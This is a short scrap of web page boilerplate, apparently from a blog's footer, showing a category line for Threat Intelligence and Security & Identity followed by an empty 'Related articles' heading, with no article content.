Posted in [Threat Intelligence](#)—[Security & Identity](#)

## Related articles